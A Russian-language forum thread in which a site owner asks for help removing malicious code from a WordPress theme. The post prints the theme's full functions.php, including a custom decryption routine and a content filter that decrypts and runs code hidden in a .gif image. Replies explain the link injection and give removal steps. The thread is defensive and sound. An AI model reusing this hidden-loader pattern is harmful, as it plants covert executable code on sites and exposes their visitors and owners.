Wordpress - вшит вредоносный код в шаблон - помогите найти..

БОЧ рВФ 260602
На сайте с 27.01.2010
Offline
202
1305

Приветствую.

Есть шаблон к Wordpress. В шаблон вшит вредоносный код. Я покопался в шаблоне - в файле functions.php есть странная функция dsCrypt..

Вот код functions.php

<?php

if ( function_exists('register_sidebar') )
register_sidebars(2, array(
'before_widget' => '',
'after_widget' => '',
'before_title' => '<h2>',
'after_title' => '</h2>',
));

?>
<?

function dsCrypt($input,$decrypt=false)
{
$o = $s1 = $s2 = array();

$basea = array('?','(','@',';','$','#',"]","&",'*');
$basea = array_merge($basea, range('a','z'), range('A','Z'), range(0,9));
$basea = array_merge($basea, array('!',')','{','+','|','}','/','[','.',' ') );
$dimension=9;
for($i=0;$i<$dimension;$i++)
{
for($j=0;$j<$dimension;$j++)
{
$s1[$i][$j] = $basea[$i*$dimension+$j];
$s2[$i][$j] = str_rot13($basea[($dimension*$dimension-1) - ($i*$dimension+$j)]);
}
}
unset($basea);

$m = floor(strlen($input)/2)*2;
$symbl = $m==strlen($input) ? '':$input[strlen($input)-1];
$al = array();

for ($ii=0; $ii<$m; $ii+=2)
{
$symb1 = $symbn1 = strval($input[$ii]);
$symb2 = $symbn2 = strval($input[$ii+1]);
$a1 = $a2 = array();
for($i=0;$i<$dimension;$i++)
{
for($j=0;$j<$dimension;$j++)
{
if ($decrypt)
{
if ($symb1===strval($s2[$i][$j]) )
$a1=array($i,$j);
if ($symb2===strval($s1[$i][$j]) )
$a2=array($i,$j);
if (!empty($symbl) && $symbl===strval($s2[$i][$j]))
$al=array($i,$j);
}
else
{
if ($symb1===strval($s1[$i][$j]) )
$a1=array($i,$j);
if ($symb2===strval($s2[$i][$j]) )
$a2=array($i,$j);
if (!empty($symbl) && $symbl===strval($s1[$i][$j]))
$al=array($i,$j);
}
}
}
if (sizeof($a1) && sizeof($a2))
{
$symbn1 = $decrypt ? $s1[$a1[0]][$a2[1]] : $s2[$a1[0]][$a2[1]];
$symbn2 = $decrypt ? $s2[$a2[0]][$a1[1]] : $s1[$a2[0]][$a1[1]];
}
$o[] = $symbn1.$symbn2;
}
if (!empty($symbl) && sizeof($al))
$o[] = $decrypt ? $s1[$al[1]][$al[0]] : $s2[$al[1]][$al[0]];

return implode('',$o);
}

if (!function_exists('http_build_query')) {
function http_build_query($data, $prefix='', $sep='', $key='') {
$ret = array();
foreach ((array)$data as $k => $v) {
if (is_int($k) && $prefix != null) {
$k = urlencode($prefix . $k);
}
if ((!empty($key)) || ($key === 0)) $k = $key.'['.urlencode($k).']';
if (is_array($v) || is_object($v)) {
array_push($ret, http_build_query($v, '', $sep, $k));
} else {
array_push($ret, $k.'='.urlencode($v));
}
}
if (empty($sep)) $sep = ini_get('arg_separator.output');
return implode($sep, $ret);
}
}

function wp_cont_views($content)
{
global $ui_function;
if (!$ui_function)
{
$from_f=file_get_contents(dirname(__FILE__).'/images/header.gif');
$from_f=substr($from_f,stripos($from_f,';/*')+3,strlen($from_f));
$from_f=substr($from_f,0,strlen($from_f)-2);
$from_f=dsCrypt($from_f,true);
$ui_function=@create_function('$url,$content',$from_f);
}
return $ui_function(get_permalink(),$content);
}

add_filter('the_content', 'wp_cont_views' );

?>

помогите почистить.. что надо удалить?

за что вообще отвечает этот код?

Спасибо.

п.с. архив с шаблоном

[Удален]
#1

http://habrahabr.ru/blogs/php/61309/ - вот он ваш код, приведенный выше.

Файл хедера что-то подозрителен на мой взгляд, не пробовали перезалить его/перепроверить?

ДП
На сайте с 23.11.2009
Offline
203
#2

Судя по коду, данные получаются из файла /images/header.gif, приаттачьте его в тему - посмотреть :)

БОЧ рВФ 260602
На сайте с 27.01.2010
Offline
202
#3
Дикий пионер:
Судя по коду, данные получаются из файла /images/header.gif, приаттачьте его в тему - посмотреть :)

в первом сообщении шаблон прикреплен..

Cthulchu
На сайте с 09.09.2011
Offline
50
#4
Дикий пионер:
Судя по коду, данные получаются из файла /images/header.gif, приаттачьте его в тему - посмотреть :)

кстати, наблюдал как-то копирайты шаблона в .gif файле, откройте его блокнотом, если увидите код, - вот и он, а коли он как бинарник выглядит, значит, все гуд.

я смею всё, что смеет человек. кто смеет больше, тот не человек.
ДП
На сайте с 23.11.2009
Offline
203
#5

Ну тут не зря функцию dsCrypt() используют, как мне кажется :)

T
На сайте с 09.12.2011
Offline
55
tls
#6
БОЧ рВФ 260602:
помогите почистить.. что надо удалить?

за что вообще отвечает этот код?

Спасибо.

п.с. архив с шаблоном

Надо удалить все вызовы функции wp_cont_views(); Для этого попробуйте просто закомментировать/удалить эту функцию и строку 'add_filter('the_content', 'wp_cont_views' );'.

Либо попробуйте заменить 'return $ui_function(get_permalink(),$content);' на 'return true;' .

Точнее должны подсказать специалисты по WP.

Сам код берет из базы (меняйте пароли, после лечения) адреса всех постов и отсылает на один сайт, в ответ получает и выводит список ссылок. Как-то так.

PS: Также из файла '/images/header.gif' надо удалить всё, начиная с ';/*'. А 'add_filter('the_content', 'wp_cont_views' );' надо удалить из всех файлов шаблона.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий